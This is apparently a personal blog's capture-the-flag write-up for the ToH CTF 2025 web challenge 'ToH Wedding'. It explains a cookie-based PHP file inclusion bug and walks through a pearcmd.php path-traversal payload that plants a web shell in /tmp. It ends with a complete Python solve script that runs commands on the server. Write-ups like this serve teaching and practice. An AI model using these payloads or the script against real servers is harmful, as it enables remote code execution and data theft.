710 words
4 minutes
ToH CTF 2025 - Web - ToH Wedding

Gist#

The big idea here is that we can change our lang cookie to be whatever and it will include that php file. In this case what we want to do is include pearcmd.php to create a file that allows us to get RCE.

Important Code#

lang.php
<?php
session_start();
if (isset($_GET['lang'])) {
  $lang = $_GET['lang'];
  // we don't trust the GET parameter, comes from the user
  if ($lang != 'en' && $lang != 'it') {
    // default if lang is not valid, is italian
    $lang = 'it';
  }
  // Register the session and set the cookie
  $_SESSION['lang'] = $lang;
  setcookie('lang', $lang, time() + (3600 * 24 * 30));
} else if (isset($_SESSION['lang'])) {
  $lang = $_SESSION['lang'];
} else if (isset($_COOKIE['lang'])) {
  // cookie is safe, we set it ourself
  $lang = $_COOKIE['lang'];
} else {
  // default language is browser language
  $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
  if ($lang != 'en' && $lang != 'it') {
    // default if browser is not valid, is italian
    $lang = 'it';
  }
}
// include the language file
include 'lang/' . $lang . '.php';
?>

As we can see here, it will include our cookie value with .php appended to it. I also ran into a problem of it not working and that is because if you already have a PHPSESSID, it will just get the lang value from that. So if you are doing this manually make sure to delete it.

Flag?#

So, looking through the handout, the flag is in rsvp_X.csv, the problem is though that in entrypoint.sh, they rename it with some random number in place of X.

#!/bin/sh
SECRET=$(openssl rand -hex 16)
export RSVP_PATH=rsvp_$SECRET.csv
mv /var/www/html/rsvp_X.csv /var/www/html/$RSVP_PATH
exec "$@"

So this means its basically impossible to include this file as we would need to know it’s full name.

The Search#

For a while, I was stuck and didn’t know what to do. I even tried including the file with the flag in it, but that doesn’t even make sense as we don’t know the name of it and .php is appended to it. So, after a couple of hours, I figured that we probably needed to find some useful php file.

This is what led me to docker exec -it <container-id> /bin/bash’ing and searching around the container. At some point I eventually stumbled into /usr/local/lib/php/ and found some very interesting files with cmd in their names. Is this it chat?

Terminal window
root@container-id:/usr/local/lib/php# ls
Archive Console OS PEAR PEAR.php Structures System.php XML build data doc extensions pearcmd.php peclcmd.php test

So, I searched stuff up about these and found this saying that we can actually use pearcmd.php to get RCE.

https://nvd.nist.gov/vuln/detail/CVE-2022-47945

https://h4ndsh.github.io/2023/phpinfo/

Alright, so now we just have to set our cookie to ../../../../usr/local/lib/php/pearcmd to do some path traversal and use it to create a php file that will allow us to run commands.

This is what happens with the malicious lang.

include 'lang/' . '../../../../usr/local/lib/php/pearcmd' . '.php';

Getting RCE#

After consulting my friend who works at OpenAI, it gave me this which creates a php file named shell.php in /tmp/ that runs whatever command we put in the 0 parameter.

/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=`$_GET[0]`?>+/tmp/shell.php

One problem I ran into was my browser automatically url-encoding the < and >, so I needed to make a get request without it doing that.

Anyways, we can use the the same trick as before and set our lang cookie to be ../../../../tmp/shell.php and once we have that included, we can just visit:

/?0=cat%20/var/www/html/rsvp_*.csv

and we get the flag.

flag

I have created a solve script afterwards:

import http.client
conn = http.client.HTTPConnection("localhost", 8000)
raw_path = "/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=`$_GET[0]`?>+/tmp/shell.php"
headers = {
"Cookie": "lang=../../../../usr/local/lib/php/pearcmd"
}
conn.request("GET", raw_path, headers=headers)
response = conn.getresponse()
print(response.read().decode())
raw_path = "/?0=cat%20/var/www/html/rsvp_*.csv"
headers = {
"Cookie": "lang=../../../../tmp/shell"
}
conn.request("GET", raw_path, headers=headers)
response = conn.getresponse()
print(response.read().decode())

Learnings#

So after some research, I figured out the reason why pearcmd.php is in here in the first place is because it’s included by default in this php server image on docker.

FROM php:8.1-apache
...

Anyways, thanks for reading, this is one of the more memorable challenges I’ve done because I essentially got really lucky stumbling into /usr/local/lib/php/. I also figured most of this stuff by myself, so the research part of it was really fun too. I will admit though, I got a little help from my friend at OpenAI.

Thanks for reading! 😊

ToH CTF 2025 - Web - ToH Wedding
https://rizfol.github.io/posts/toh-ctf-2025/tohwedding/
Author
janky
Published at
2025-09-08
License
CC BY-NC-SA 4.0